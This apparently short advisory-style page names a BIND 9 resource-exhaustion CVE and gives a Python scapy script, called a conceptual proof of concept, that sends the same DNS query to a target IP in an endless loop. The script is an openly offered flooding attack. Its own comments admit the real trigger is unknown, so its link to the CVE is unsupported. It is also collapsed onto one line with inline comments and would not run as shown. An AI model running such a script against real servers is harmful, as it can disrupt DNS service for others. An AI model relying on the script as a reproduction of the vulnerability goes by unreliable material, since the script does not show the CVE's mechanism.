CVE-2026-5950 BIND 9资源耗尽漏洞

# This is a conceptual PoC to simulate the traffic described. # Requires scapy: pip install scapy from scapy.all import IP, UDP, DNS, DNSQR, send import random target_ip = "192.168.1.100" # Replace with target IP def send_malicious_dns(): # Craft a DNS query that might trigger bad-server handling logic # The exact trigger depends on the specific vulnerability details pkt = IP(dst=target_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="example.com", qtype="A")) print(f"[*] Sending packet to {target_ip}...") send(pkt, verbose=0) if __name__ == "__main__": try: while True: send_malicious_dns() except KeyboardInterrupt: print("[+] Stopped.")